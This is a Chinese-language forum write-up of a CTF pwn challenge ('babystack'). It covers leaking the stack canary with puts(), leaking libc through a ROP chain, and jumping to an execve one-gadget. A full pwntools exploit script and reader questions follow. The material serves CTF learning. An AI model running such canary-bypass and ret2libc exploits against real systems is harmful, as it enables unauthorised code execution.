首页
论坛
课程
招聘
[原创]攻防世界pwn高手进阶区pwn1
2019-9-9 22:55 11062

[原创]攻防世界pwn高手进阶区pwn1

2019-9-9 22:55
11062

0x00 查看文件信息


64位程序,动态链接,然后保护开的差不多了

0x01 静态分析

程序无system(),无"/bin/sh",但是程序有libc(有libc表示有获得shell的函数),这就比较好办了,
在libc中找以一下shell的地址

 

继续,分析main()

 

v8就是那个标志canary,程序有个输出puts(),有read(),并且read()有一个非常明显的溢出(s的大小只有0x90,但是read读取了0x100大小的数据)

 

然后程序要求输入1/2/3进行选择下一步的操作

0x02 思路

1

​ 需要利用puts()泄露出标志canary,标志canary在rbp的上面,也就是在s的底部,所以当我们输入0x88个字节 的时候,puts()就能够将标志canary输入出来

​ 上图为输入0x88个a之后的堆栈情况其中0x00007FFFF8B292A8处标志canary(这个不是真正的canary,下面会说明),0x00007FFFF8B292ABB为返回地址,继续运行程序能够得到标志canary
图片描述
需要注意的是:canary的真实值应该是0x502CB52AB5572700,而不是0x502CB52AB557270A,这是因为在我们输入0x88个'a'时还输入了一个回车,这个回车将标志canary尾部的'\x00'覆盖为'\x0A'。另外正是因为这个回车覆盖掉'\x00',才使得puts()能够输出标志canary,不然的话puts()在遇到'\0‘时就停止输出了

 

所以我们可以用以下这段代码获得标志canary

payload = 'a'*0x88
p.sendlineafter(">> ","1")
p.sendline(payload)
p.sendlineafter(">> ","2")
p.recvuntil('a'*0x88+'\n')
2

​ 在获得到标志canary之后,我们可以再次利用puts()泄露出put()的真实地址,这是为了应对ASLR

 

​ 由于是64位程序,所以需要一个gadget,这个可以直接找到

payload1 = 'a'*0x88+p64(canary)+'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter(">> ","1")
p.send(payload1)
p.sendlineafter(">> ","3")
puts_addr=u64(p.recv(8).ljust(8,'\x00'))

3

调用我们找到的execve("/bin/sh")

payload2 = 'a'*0x88+p64(canary)+'a'*8 + p64(execve_addr)

0x03 exp

from pwn import *
context.arch = "amd64"
context.log_level = "debug"

elf = ELF("./babystack")
p = remote('111.198.29.45','45381')
#p = process("./babystack")
libc = ELF("./libc-2.23.so")

execve = 0x45216
main_addr = 0x400908
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x0400a93

payload = 'a'*0x88
p.sendlineafter(">> ","1")
p.sendline(payload)

p.sendlineafter(">> ","2")
p.recvuntil('a'*0x88+'\n')

canary = u64(p.recv(7).rjust(8,'\x00'))

payload1 = 'a'*0x88+p64(canary)+'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter(">> ","1")
p.send(payload1)
p.sendlineafter(">> ","3")
puts_addr=u64(p.recv(8).ljust(8,'\x00'))

execve_addr = puts_addr - (libc.symbols['puts'] - execve)

payload2 = 'a'*0x88+p64(canary)+'a'*8 + p64(execve_addr)

p.sendlineafter(">> ","1")
p.sendline(payload2)
p.sendlineafter(">> ","3")
p.interactive()

若文章有错误处,还请指出


[公告]《安卓APP加固攻与防》训练营!Android逆向分析技能,干货满满,报名免费赠送一部手机!

收藏
点赞2
打赏
分享
最新回复 (5)
雪    币: 113
活跃值: 活跃值 (41)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
wdone 活跃值 2019-9-10 11:15
2
0
下次留下bin文件吧
雪    币: 1252
活跃值: 活跃值 (19)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
安辰 活跃值 2019-9-10 18:52
3
0
好的
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
胤殇离 活跃值 2019-11-4 16:02
4
0
贴主您好!小生有一处不是太明白,还请贴主帮忙解答一下,就是在构建泄露的payload时,为什么got表在前,plt表在后。在泄露时不是应该先plt在got的吗?
雪    币: 163
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_刘太阳 活跃值 2020-3-14 14:53
5
0
请问大佬,为什么输入0x88个a之后按回车,是将标志canary尾部的'\x00'覆盖为'\x0A',而不是讲canary本身存储的内容给覆盖呢?是因为小端存储嘛?
雪    币: 611
活跃值: 活跃值 (157)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
wjllz 活跃值 3 2020-3-15 13:39
6
0
wx_刘太阳 请问大佬,为什么输入0x88个a之后按回车,是将标志canary尾部的'\x00'覆盖为'\x0A',而不是讲canary本身存储的内容给覆盖呢?是因为小端存储嘛?
0xA 是换行符
游客
登录 | 注册 方可回帖
返回